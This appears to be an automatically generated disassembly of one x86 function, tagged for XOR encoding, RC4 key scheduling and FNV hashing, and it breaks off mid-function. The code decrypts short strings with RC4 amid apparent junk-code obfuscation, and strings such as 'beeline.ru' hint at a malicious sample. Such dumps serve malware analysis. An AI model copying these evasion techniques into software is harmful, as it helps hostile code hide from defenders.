Function at 0x100209cd
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4ec
push ebx
push esi
mov dword [ebp - 0x1c0], edx
mov edx, str.._AW4RandomNumberType_Integer_CryptoPP__
mov dword [ebp - 0x34], ecx
mov ecx, str.6G6O6T6Y6c6q6z6
push edi
call fcn.1001f17f
push 9
pop ecx
mov dword [ebp - 0x1c4], ecx
lea edi, [ebp - 0x94]
mov esi, str.50585_5H5P5X5_5l5
xor ebx, ebx
rep movsd dword es:[edi], dword [esi]
push 0x2e
pop ecx
mov eax, ebx
mov dword [ebp - 0x48], eax
cmp cx, word [ebp - 0x94]
jne 0x10020aa2
mov edx, ecx
mov ecx, ebx
test dx, dx
je 0x10020a51
cmp word [ebp + ecx - 0x94], bx
je 0x10020a51
call fcn.1001fe62
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
lea ecx, [eax + eax]
movzx edx, word [ecx + str.._AW4RandomNumberType_Integer_CryptoPP__]
cmp dx, word [ebp + ecx - 0x94]
je 0x10020a22
mov edi, dword [ebp - 0x4c]
cmp edi, eax
jae 0x10020aa2
mov esi, dword [0x100402c0]
mov ebx, dword [ebp - 0x48]
mov edx, str.._AW4RandomNumberType_Integer_CryptoPP__
mov ecx, str.6G6O6T6Y6c6q6z6
call fcn.1001e4ea
cmp edi, 0x1954
jne 0x10020a8e
push str.._AW4RandomNumberType_Integer_CryptoPP__
mov ecx, str.4y44V5d5
sub esi, 0x130db6a3
call fcn.1001f40a
pop ecx
and esi, 0x194bda7c
call fcn.1001edfc
inc edi
cmp edi, ebx
jb 0x10020a61
xor ebx, ebx
jmp 0x10020aa8
mov esi, dword [0x100402c0]
or esi, 0x23f08cbd
mov dword [ebp - 0x68], 0x370
mov ecx, 0xb5
mov dword [ebp - 0x20], esi
mov dword [0x100402c0], esi
mov eax, ebx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], 0xfe8
mov dword [ebp - 0x5c], 0x26c
mov dword [ebp - 0x58], 0x21c5
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], 0x1e3d
cmp eax, 5
je 0x10020af2
inc eax
cmp eax, 7
jl 0x10020ae7
push 0x2e
pop ecx
mov byte [ebp - 0x41], cl
lea edi, [ebp - 0xdc]
push 5
mov eax, dword [ebp + eax*4 - 0x68]
mov esi, str.bad_compression_method
pop ecx
rep movsd dword es:[edi], dword [esi]
xor eax, 0xb4
mov word [ebp - 0x44], 0x27de
cmp byte [str.4y44V5d5], 0
mov dword [ebp - 0x114], eax
movsw word es:[edi], word [esi]
mov byte [ebp - 0x42], 0xda
mov dword [ebp - 0x40], 0xb7067fd1
mov dword [ebp - 0x3c], 0xfcf0489
mov byte [ebp - 0x38], 0xb8
movsb byte es:[edi], byte [esi]
je 0x10020b57
mov eax, dword [ebp - 0x20]
mov ecx, str.4y44V5d5
sub eax, 0x1ed3881e
inc ecx
cmp byte [ecx], 0
jne 0x10020b47
mov dword [0x100402c0], eax
call fcn.1001e69c
mov edi, ebx
call fcn.1001e69c
mov esi, dword [0x100402c0]
or esi, 0xe706af33
inc edi
mov dword [0x100402c0], esi
cmp word [edi*2 + str.._AW4RandomNumberType_Integer_CryptoPP__], bx
jne 0x10020b5e
push ecx
mov ecx, esi
call fcn.1001fcd5
pop ecx
cmp edi, 0x22ad
jne 0x10020baa
imul esi, esi, 0x114d467b
push str._ttyyyoo4441uuuo
mov dword [0x100402c0], esi
call fcn.1001f88c
pop ecx
jmp 0x10020bbb
add esi, 0x245d6218
mov dword [0x100402c0], esi
call fcn.10020462
mov ebx, esi
call fcn.10020205
mov edi, str._ttyyyoo4441uuuo
push ecx
push esi
call fcn.1001f5f4
mov esi, ebx
xor esi, 0x59dfa569
inc edi
pop ecx
pop ecx
mov ebx, esi
cmp byte [edi], 0
jne 0x10020bc7
xor ebx, ebx
mov dword [ebp - 8], ebx
mov eax, ebx
mov byte [ebp + eax - 0x49c], al
inc eax
cmp eax, 0x100
jb 0x10020be7
mov edi, ebx
xor edx, edx
mov bl, byte [ebp + edi - 0x49c]
push 0x16
mov eax, edi
and esi, 0xbf8e4c7d
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0xdc]
add eax, dword [ebp - 8]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 8], ecx
mov al, byte [ebp + ecx - 0x49c]
mov byte [ebp + edi - 0x49c], al
inc edi
mov byte [ebp + ecx - 0x49c], bl
cmp edi, 0x100
jb 0x10020bf8
push ecx
mov eax, str.4y44V5d5
mov ecx, str.beeline.ru
push eax
mov edx, eax
call fcn.1001d7b3
xor ebx, ebx
mov eax, ebx
pop ecx
pop ecx
cmp byte [str.4y44V5d5], al
je 0x10020cac
imul esi, esi, 0x9a1efbfb
inc eax
cmp byte [eax + str.4y44V5d5], bl
jne 0x10020c63
mov edi, dword [ebp - 0x4c]
mov dword [ebp - 0x20], eax
cmp edi, eax
jae 0x10020cac
mov ecx, esi
mov eax, esi
cmp edi, 0x35
jne 0x10020c8c
mov eax, ecx
xor eax, 0x3c83a1d7
push str.6G6O6T6Y6c6q6z6
mov ecx, str.beeline.ru
lea esi, [eax + 0x2ecef607]
call fcn.1001f40a
pop ecx
inc edi
mov ecx, esi
mov eax, ecx
cmp edi, dword [ebp - 0x20]
jb 0x10020c80
mov edx, ebx
mov dword [ebp - 0x1c], ebx
mov ecx, ebx
lea eax, [ecx + 1]
movzx ecx, al
mov dword [ebp - 0x10], ecx
mov al, byte [ebp + ecx - 0x49c]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x18], eax
add eax, edx
movzx eax, al
mov dword [ebp - 0x20], eax
mov al, byte [ebp + eax - 0x49c]
mov byte [ebp + ecx - 0x49c], al
call fcn.1001f638
mov eax, str.beeline.ru
and esi, 0x3554284
inc eax
cmp byte [eax], 0
jne 0x10020cec
mov dword [ebp - 0xc], esi
call fcn.100205a8
push 6
pop ecx
mov esi, str.FlsSetValue
lea edi, [ebp - 0x64]
rep movsd dword es:[edi], dword [esi]
push 0x36
pop ecx
mov eax, ebx
mov dword [ebp - 0x14], eax
cmp cx, word [ebp - 0x64]
jne 0x10020d85
mov edx, ecx
mov ecx, ebx
test dx, dx
je 0x10020d4a
cmp word [ebp + ecx - 0x64], bx
je 0x10020d4a
push ecx
call fcn.1001f96c
mov eax, dword [ebp - 0x14]
inc eax
pop ecx
mov dword [ebp - 0x14], eax
lea ecx, [eax + eax]
movzx edx, word [ecx + str.6G6O6T6Y6c6q6z6]
cmp dx, word [ebp + ecx - 0x64]
je 0x10020d1f
mov esi, dword [ebp - 0xc]
cmp dword [ebp - 8], eax
jae 0x10020d88
mov edi, dword [ebp - 0x14]
mov ebx, dword [ebp - 8]
call fcn.1001dfd1
cmp ebx, 0x13c4
jne 0x10020d70
add esi, 0x4302342f
call fcn.1001faa1
add esi, 0x14d680d7
inc ebx
cmp ebx, edi
jb 0x10020d58
mov dword [ebp - 8], ebx
xor ebx, ebx
mov dword [ebp - 0xc], esi
jmp 0x10020d88
mov esi, dword [ebp - 0xc]
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov al, byte [ebp - 1]
mov edi, dword [ebp - 0x1c]
mov byte [ebp + edx - 0x49c], al
movzx eax, byte [ebp + ecx - 0x49c]
add eax, dword [ebp - 0x18]
movzx eax, al
mov al, byte [ebp + eax - 0x49c]
xor al, byte [ebp + edi - 0x44]
mov byte [ebp + edi - 0x4dc], al
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0xd
jb 0x10020cb3
mov byte [ebp - 0x4cf], bl
mov eax, ebx
mov dword [ebp - 0x98], 0x20e
mov dword [ebp - 0x94], 0x25e8
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x88], 0xc09
mov dword [ebp - 0x84], 0x1a54
mov dword [ebp - 0x80], 0x17ea
mov dword [ebp - 0x7c], 0x234a
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], 0x4c4
cmp eax, 3
je 0x10020e27
inc eax
cmp eax, 0xa
jl 0x10020e1c
mov eax, dword [ebp + eax*4 - 0x98]
xor ecx, ecx
inc ecx
mov dword [ebp - 0x1bc], eax
mov eax, ebx
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x94], 0x38c
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x8c], 0x9c4
mov dword [ebp - 0x88], 0x15f6
mov dword [ebp - 0x84], 0x10e5
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], 0x2573
mov dword [ebp - 0x74], 0x1b53
test eax, eax
je 0x10020e8b
inc eax
cmp eax, 0xa
jl 0x10020e81
mov eax, dword [ebp + eax*4 - 0x98]
lea edi, [ebp - 0xd8]
mov esi, str.Select_a_directory
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x2c], 0x616682f2
mov eax, ebx
mov dword [ebp - 0x28], 0x6cb27dcf
mov dword [ebp - 0x24], 0xf4ca95fd
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x14], ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x49c], al
inc eax
cmp eax, 0x100
jb 0x10020ec4
mov esi, dword [ebp - 0xc]
mov edi, ebx
mov dword [ebp - 0x18], 0x12
xor edx, edx
mov cl, byte [ebp + edi - 0x49c]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x18]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xd8]
add eax, dword [ebp - 0x14]
add ecx, eax
movzx eax, cl
mov dword [ebp - 0x14], eax
mov al, byte [ebp + eax - 0x49c]
mov byte [ebp + edi - 0x49c], al
call fcn.1001de48
mov eax, ebx
add esi, 0xfc3efbf9
xor esi, 0x1e9cebc3
inc eax
cmp word [eax*2 + str.6G6O6T6Y6c6q6z6], bx
jne 0x10020f21
cmp eax, 0xc25
jbe 0x10020f41
add esi, 0x656669cb
jmp 0x10020f4c
call fcn.1001fd2b
xor esi, 0x5bdaf2ea
mov eax, dword [ebp - 0x14]
inc edi
mov cl, byte [ebp - 1]
mov byte [ebp + eax - 0x49c], cl
cmp edi, 0x100
jb 0x10020edf
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov dword [ebp - 8], ebx
lea eax, [edi + 1]
mov edi, ebx
movzx eax, al
mov dword [ebp - 0x20], eax
call fcn.1002015a
add esi, 0x71c12a72
inc edi
cmp word [edi*2 + str.._AW4RandomNumberType_Integer_CryptoPP__], bx
jne 0x10020f79
mov edx, dword [ebp - 0x18]
mov dword [0x100402c0], esi
cmp edx, edi
jae 0x10020fd7
mov eax, esi
mov ecx, esi
mov esi, ecx
cmp edx, 0x8cd
jne 0x10020fb9
lea esi, [eax + 0x60f56420]
push ecx
mov ecx, esi
call fcn.1001fcd5
pop ecx
or esi, 0xee3bbf66
push ecx
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.1001fcd5
inc edx
mov eax, esi
pop ecx
mov ecx, eax
cmp edx, edi
jb 0x10020fa0
mov dword [ebp - 0x18], edx
mov edi, dword [ebp - 0x20]
add esi, 0x5b46e79e
mov eax, dword [ebp - 0x14]
mov cl, byte [ebp + edi - 0x49c]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x14], eax
mov al, byte [ebp + eax - 0x49c]
mov byte [ebp + edi - 0x49c], al
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x49c], cl
movzx eax, byte [ebp + edi - 0x49c]
mov ecx, dword [ebp - 8]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x49c]
xor al, byte [ebp + ecx - 0x2c]
mov byte [ebp + ecx - 0x4ac], al
inc ecx
mov dword [ebp - 8], ecx
cmp ecx, 0xc
jb 0x10020f6e
push 0x77
pop ecx
mov byte [ebp - 0x4a0], bl
mov eax, ebx
mov dword [ebp - 0x150], 0x1fbc
mov dword [ebp - 0x14c], 0xfe5
mov dword [ebp - 0x148], ecx
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x140], 0x1b62
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x138], 0x1cca
mov dword [ebp - 0x134], 0x41c
mov dword [ebp - 0x130], 0x12e0
mov dword [ebp - 0x12c], 0x4cf
mov dword [ebp - 0x128], ecx
cmp eax, 5
je 0x100210b0
inc eax
cmp eax, 0xb
jl 0x100210a5
mov eax, dword [ebp + eax*4 - 0x150]
xor eax, ecx
mov dword [ebp - 0x11c], eax
call fcn.1001edfc
mov eax, str.6G6O6T6Y6c6q6z6
lea eax, [eax + 2]
and esi, 0xbda56c34
cmp word [eax], bx
jne 0x100210c9
push 0xd
mov dword [ebp - 0xc], esi
lea edi, [ebp - 0x1fc]
pop ecx
mov esi, str.cant_shrink_shared_buffer
mov dword [ebp - 8], ebx
rep movsd dword es:[edi], dword [esi]
push 0x36
pop eax
movsw word es:[edi], word [esi]
cmp ax, word [ebp - 0x1fc]
jne 0x1002112e
mov ecx, eax
mov eax, ebx
test cx, cx
je 0x1002112e
cmp word [ebp + eax - 0x1fc], bx
je 0x1002112e
call fcn.1001f638
mov edx, dword [ebp - 8]
inc edx
mov dword [ebp - 8], edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.6G6O6T6Y6c6q6z6]
cmp cx, word [ebp + eax - 0x1fc]
je 0x100210ff
sub dword [ebp - 0xc], 0x17e631a2
mov eax, 0x98
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x50], eax
mov eax, ebx
mov dword [ebp - 0x68], 0x23d8
mov dword [ebp - 0x60], 0x27
mov dword [ebp - 0x54], 0x2319
test eax, eax
je 0x1002116a
inc eax
cmp eax, 8
jl 0x10021160
mov eax, dword [ebp + eax*4 - 0x6c]
lea edi, [ebp - 0x6c]
push 7
pop ecx
mov esi, str.GdipGetPathGradientCenterColor
mov dword [ebp - 0x2c], 0xac2a165
rep movsd dword es:[edi], dword [esi]
xor eax, 0x99
mov dword [ebp - 0x28], 0xa43f3fb5
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x24], 0x5eca90dd
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.1001e188
push 9
pop eax
mov ecx, eax
mov dword [ebp - 8], ebx
mov esi, str.GdipAddPathCurve3I
lea edi, [ebp - 0x98]
rep movsd dword es:[edi], dword [esi]
push 0x36
pop eax
movsw word es:[edi], word [esi]
cmp ax, word [ebp - 0x98]
jne 0x100211f9
mov ecx, eax
mov eax, ebx
test cx, cx
je 0x100211f9
cmp word [ebp + eax - 0x98], bx
je 0x100211f9
call fcn.1002015a
mov edx, dword [ebp - 8]
inc edx
mov dword [ebp - 8], edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.6G6O6T6Y6c6q6z6]
cmp cx, word [ebp + eax - 0x98]
je 0x100211ca
mov eax, str.._AW4RandomNumberType_Integer_CryptoPP__
mov edx, eax
mov ecx, eax
call fcn.1001e4ea
mov esi, dword [ebp - 0xc]
mov eax, ebx
or esi, 0x13e6980
inc eax
cmp word [eax*2 + str.6G6O6T6Y6c6q6z6], bx
jne 0x1002120c
cmp eax, 0x1b9a
jae 0x1002122b
mov eax, 0xcc579d9
jmp 0x10021235
call fcn.10020462
mov eax, 0x4fb67085
and esi, eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], esi
mov eax, ebx
mov byte [ebp + eax - 0x49c], al
inc eax
cmp eax, 0x100
jb 0x1002123f
mov edi, ebx
mov dword [ebp - 0x20], 0x1e
mov ebx, dword [ebp - 0x18]
xor edx, edx
mov cl, byte [ebp + edi - 0x49c]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x20]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x6c]
add eax, ebx
add ecx, eax
movzx ebx, cl
call fcn.1001faa1
cmp byte [str.4y44V5d5], 0
je 0x1002129c
mov eax, str.4y44V5d5
add esi, 0x679e5818
inc eax
cmp byte [eax], 0
jne 0x1002128d
mov dword [ebp - 0xc], esi
mov al, byte [ebp + ebx - 0x49c]
mov byte [ebp + edi - 0x49c], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + ebx - 0x49c], al
cmp edi, 0x100
jb 0x1002125a
xor ebx, ebx
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov eax, ebx
inc eax
movzx eax, al
mov dword [ebp - 0x14], eax
mov al, byte [ebp + eax - 0x49c]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x18], eax
add eax, ecx
movzx eax, al
mov dword [ebp - 0x10], eax
call fcn.1001f638
push 0xe
pop ecx
push 0x36
mov esi, str.GdipCreateHBITMAPFromBitmap
mov dword [ebp - 8], ebx
lea edi, [ebp - 0x200]
mov edx, ebx
pop eax
rep movsd dword es:[edi], dword [esi]
cmp ax, word [ebp - 0x200]
jne 0x10021336
mov ecx, eax
mov eax, ebx
test cx, cx
je 0x10021333
cmp word [ebp + eax - 0x200], bx
je 0x10021333
inc edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.6G6O6T6Y6c6q6z6]
cmp cx, word [ebp + eax - 0x200]
je 0x1002130f
mov dword [ebp - 8], edx
call fcn.1001e9cf
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
movzx eax, byte [ebp + ecx*2 - 0x200]
movzx ecx, byte [ecx*2 + str.6G6O6T6Y6c6q6z6]
sub ecx, eax
cmp ecx, 0xd5b
jbe 0x10021363
add esi, 0xaea88a53
jmp 0x10021369
add esi, 0x27d90c3d
mov eax, dword [ebp - 0x10]
mov edi, ebx
mov ecx, dword [ebp - 0x14]
mov al, byte [ebp + eax - 0x49c]
mov byte [ebp + ecx - 0x49c], al
add esi, 0xb09166b9
inc edi
cmp word [edi*2 + str.6G6O6T6Y6c6q6z6], bx
jne 0x1002137f
push str.._AW4RandomNumberType_Integer_CryptoPP__
mov dword [0x100402c0], esi
call fcn.1001eb05
pop ecx
cmp edi, 0xca
jae 0x100213b1
or esi, 0xf66412e9
jmp 0x100213c0
imul esi, esi, 0x9af11884
push ecx
mov ecx, esi
call fcn.1001fcd5
pop ecx
mov edi, ebx
add esi, 0x10248974
call fcn.100205a8
add esi, 0x9f3afed2
inc edi
cmp byte [edi + str._ttyyyoo4441uuuo], bl
jne 0x100213c8
cmp edi, 0x14d3
jbe 0x100213f5
imul ecx, esi, 0x8f86ce5c
mov dword [ebp - 0xc], ecx
mov dword [0x100402c0], ecx
jmp 0x1002141a
xor esi, 0x9a59c1f0
push ecx
push str.4y44V5d5
mov edx, esi
mov dword [0x100402c0], esi
mov ecx, esi
call fcn.10020511
mov eax, dword [0x100402c0]
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp - 1]
mov byte [ebp + eax - 0x49c], cl
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x49c]
add eax, dword [ebp - 0x18]
movzx eax, al
mov al, byte [ebp + eax - 0x49c]
xor al, byte [ebp + ecx - 0x2c]
mov byte [ebp + ecx - 0x4bc], al
inc ecx
mov eax, dword [ebp - 0x14]
cmp ecx, 0xc
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x10]
jb 0x100212c6
push 0xa
pop ecx
push 0x2e
mov esi, str.downloadaccountsack
mov byte [ebp - 0x4b0], bl
lea edi, [ebp - 0x14c]
mov dword [ebp - 8], ebx
pop eax
rep movsd dword es:[edi], dword [esi]
cmp ax, word [ebp - 0x14c]
jne 0x100214b8
mov ecx, eax
mov eax, ebx
test cx, cx
je 0x100214b8
cmp word [ebp + eax - 0x14c], bx
je 0x100214b8
call fcn.1001e188
mov edx, dword [ebp - 8]
inc edx
mov dword [ebp - 8], edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.._AW4RandomNumberType_Integer_CryptoPP__]
cmp cx, word [ebp + eax - 0x14c]
je 0x10021489
call fcn.100205a8
push 0xe
pop ecx
mov esi, str.invalid_stored_block_lengths
lea edi, [ebp - 0x200]
rep movsd dword es:[edi], dword [esi]
push 0x2e
pop eax
mov edx, ebx
movsw word es:[edi], word [esi]
cmp ax, word [ebp - 0x200]
jne 0x10021554
mov ecx, eax
mov eax, ebx
test cx, cx
je 0x10021505
cmp word [ebp + eax - 0x200], bx
je 0x10021505
inc edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.._AW4RandomNumberType_Integer_CryptoPP__]
cmp cx, word [ebp + eax - 0x200]
je 0x100214e1
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 8], edx
cmp esi, edx
jae 0x10021554
mov ebx, dword [ebp - 0xc]
mov edi, edx
call fcn.1001faa1
cmp esi, 0x15ae
jne 0x10021527
add ebx, 0x2ae4e8fa
push ecx
sub ebx, 0x645775e0
mov edx, str.4y44V5d5
push str.beeline.ru
mov ecx, str._ttyyyoo4441uuuo
mov dword [0x100402c0], ebx
call fcn.1001d7b3
inc esi
pop ecx
pop ecx
cmp esi, edi
jb 0x10021514
mov dword [ebp - 0xc], ebx
xor ebx, ebx
push 9
mov dword [ebp - 0xbc], ebx
mov eax, ebx
mov dword [ebp - 0xb8], 0xf27
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0xb0], 0x42
mov dword [ebp - 0xac], 0x16a7
mov dword [ebp - 0xa8], 0x23b4
mov dword [ebp - 0xa4], 0x7d2
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], 0xfd7
pop ecx
cmp eax, 7
je 0x100215b1
inc eax
cmp eax, ecx
jl 0x100215a7
mov eax, dword [ebp + eax*4 - 0xbc]
mov dword [ebp - 0x124], eax
call fcn.100202d1
push 6
pop ecx
mov esi, str.GdipSetPathGradientPath
lea edi, [ebp - 0x64]
rep movsd dword es:[edi], dword [esi]
push 0x62
pop ecx
mov eax, ebx
cmp byte [ebp - 0x64], cl
jne 0x10021642
test cl, cl
je 0x100215f2
cmp byte [ebp + eax - 0x64], 0
je 0x100215f2
mov cl, byte [eax + 0x10039fdd]
inc eax
cmp cl, byte [ebp + eax - 0x64]
je 0x100215da
mov dword [ebp - 8], eax
cmp dword [ebp - 0x18], eax
jae 0x10021642
mov esi, dword [ebp - 0xc]
mov edi, eax
mov ebx, dword [ebp - 0x18]
push ecx
push str.beeline.ru
mov edx, esi
mov ecx, esi
call fcn.10020511
mov esi, dword [0x100402c0]
pop ecx
pop ecx
cmp ebx, 0x1d38
jne 0x10021627
and esi, 0xd4c541ec
and esi, 0xc396c875
mov dword [0x100402c0], esi
call fcn.10020205
inc ebx
cmp ebx, edi
jb 0x10021602
mov dword [ebp - 0xc], esi
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0xbc], 0x1369
inc eax
mov dword [ebp - 0xb4], 0x257f
push 9
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
mov eax, ebx
mov dword [ebp - 0xa0], 0xe6c
mov dword [ebp - 0x9c], 0x269
pop ecx
cmp eax, 4
je 0x1002169a
inc eax
cmp eax, ecx
jl 0x10021690
mov eax, dword [ebp + eax*4 - 0xbc]
lea edi, [ebp - 0x2c]
mov esi, str.5T6a6h6u6
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0xc]
mov ecx, str.6G6O6T6Y6c6q6z6
mov dword [ebp - 0x44], 0xc790cf6b
mov dword [ebp - 0x40], 0x5f03900b
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x3c], 0x440435ac
mov word [ebp - 0x38], 0xf2e0
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
add ecx, 2
xor eax, 0x6c370581
cmp word [ecx], bx
jne 0x100216d6
lea esi, [eax - 0x6f4c5524]
mov dword [ebp - 0x18], ebx
mov eax, ebx
mov byte [ebp + eax - 0x49c], al
inc eax
cmp eax, 0x100
jb 0x100216ee
and esi, 0x90507622
mov dword [ebp - 0x10], ebx
cmp byte [str.4y44V5d5], 0
mov edi, ebx
mov dword [0x100402c0], esi
je 0x10021735
call fcn.1001e9cf
imul esi, esi, 0x1ebd9c8e
inc edi
cmp byte [edi + str.4y44V5d5], 0
jne 0x10021717
mov dword [0x100402c0], esi
mov dword [ebp - 0x10], edi
push ecx
push ecx
call fcn.1001fcf9
mov edi, dword [ebp - 0x4c]
pop ecx
pop ecx
cmp edi, dword [ebp - 0x10]
jae 0x1002177c
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 8], esi
call fcn.1001e188
cmp edi, 0x890
jne 0x10021767
call fcn.1002015a
mov esi, dword [ebp - 8]
and esi, 0xbe829dca
xor esi, 0x1e718a5a
call fcn.1001edfc
inc edi
mov dword [ebp - 8], esi
cmp edi, ebx
jb 0x1002174c
xor ebx, ebx
imul esi, esi, 0xc6ff75a0
mov edi, ebx
mov dword [ebp - 0x20], esi
mov esi, dword [ebp - 0x18]
xor edx, edx
mov bl, byte [ebp + edi - 0x49c]
push 9
mov eax, edi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x2c]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x49c]
mov byte [ebp + edi - 0x49c], al
inc edi
mov byte [ebp + esi - 0x49c], bl
cmp edi, 0x100
jb 0x1002178a
mov esi, dword [ebp - 0x20]
xor ebx, ebx
mov ecx, ebx
mov dword [ebp - 8], ebx
mov eax, ebx
inc eax
movzx edi, al
mov dword [ebp - 0x20], edi
mov al, byte [ebp + edi - 0x49c]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x18], eax
add eax, ecx
movzx eax, al
mov dword [ebp - 0x1c], eax
mov eax, ebx
xor esi, 0x89ed98cf
inc eax
cmp word [eax*2 + str.._AW4RandomNumberType_Integer_CryptoPP__], bx
jne 0x100217f4
cmp eax, 0x203
jne 0x10021819
call fcn.1001de48
add esi, 0x287740fb
jmp 0x1002182e
mov edx, str.6G6O6T6Y6c6q6z6
mov ecx, str.._AW4RandomNumberType_Integer_CryptoPP__
call fcn.1001f17f
imul esi, esi, 0xf060987
mov ecx, dword [ebp - 0x1c]
mov dword [0x100402c0], esi
mov al, byte [ebp + ecx - 0x49c]
mov byte [ebp + edi - 0x49c], al
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x49c], al
movzx eax, byte [ebp + edi - 0x49c]
add eax, dword [ebp - 0x18]
movzx eax, al
mov al, byte [ebp + eax - 0x49c]
mov byte [ebp - 1], al
call fcn.1001faa1
push str.beeline.ru
call fcn.1001f88c
cmp byte [str.4y44V5d5], bl
mov edi, ebx
jmp 0x1002189a
push ecx
call fcn.1001fcf9
sub esi, 0x53936221
inc edi
pop ecx
mov dword [0x100402c0], esi
cmp byte [edi + str.4y44V5d5], bl
pop ecx
push ecx
jne 0x10021880
call fcn.1001f96c
pop ecx
cmp edi, 0x15a5
jbe 0x100218b9
call fcn.1001dfd1
add esi, 0x6ceffb6d
jmp 0x100218bf
or esi, 0x107b60fc
mov ecx, dword [ebp - 8]
mov al, byte [ebp + ecx - 0x44]
xor al, byte [ebp - 1]
mov byte [ebp + ecx - 0x4ec], al
inc ecx
mov eax, dword [ebp - 0x20]
cmp ecx, 0xe
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0x1c]
jb 0x100217d3
push 0x14
pop ecx
mov byte [ebp - 0x4de], bl
mov eax, ebx
and esi, 0xd540755d
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x94], 0x131b
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x8c], 0x51b
mov dword [ebp - 0x88], 0x156a
mov dword [ebp - 0x84], 0xf3e
mov dword [ebp - 0x80], 0xb47
mov dword [ebp - 0x7c], 0x281
mov dword [ebp - 0x78], 0x8cc
mov dword [ebp - 0x74], 0x42a
cmp eax, 2
je 0x1002194f
inc eax
cmp eax, 0xa
jl 0x10021944
mov eax, dword [ebp + eax*4 - 0x98]
xor eax, ecx
mov dword [ebp - 0xbc], 0xf0f
push 9
mov dword [ebp - 0x70], eax
mov eax, ebx
mov dword [ebp - 0xb8], 0x203b
mov dword [ebp - 0xb4], 0x21bd
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xac], 0xbdb
mov dword [ebp - 0xa8], 0x1b0d
mov dword [ebp - 0xa4], 0x1f90
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], 0x1128
pop edx
cmp eax, 7
je 0x100219bc
inc eax
cmp eax, edx
jl 0x100219b2
mov eax, dword [ebp + eax*4 - 0xbc]
mov ecx, 0x89
mov dword [ebp - 0x110], eax
mov eax, ebx
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x180], 0x2584
mov dword [ebp - 0x17c], 0x24f4
mov dword [ebp - 0x178], 0xa49
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x170], 0xbf0
mov dword [ebp - 0x16c], 0x1a4b
mov dword [ebp - 0x168], 0x1cc6
mov dword [ebp - 0x164], 0x260a
mov dword [ebp - 0x160], 0x2fc
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0x158], 0xdd3
mov dword [ebp - 0x154], 0x112c
test eax, eax
je 0x10021a50
inc eax
cmp eax, 0xd
jl 0x10021a46
mov eax, dword [ebp + eax*4 - 0x184]
push 0x78
pop ecx
mov dword [ebp - 0xc0], eax
mov eax, ebx
mov dword [ebp - 0x68], 0x1886
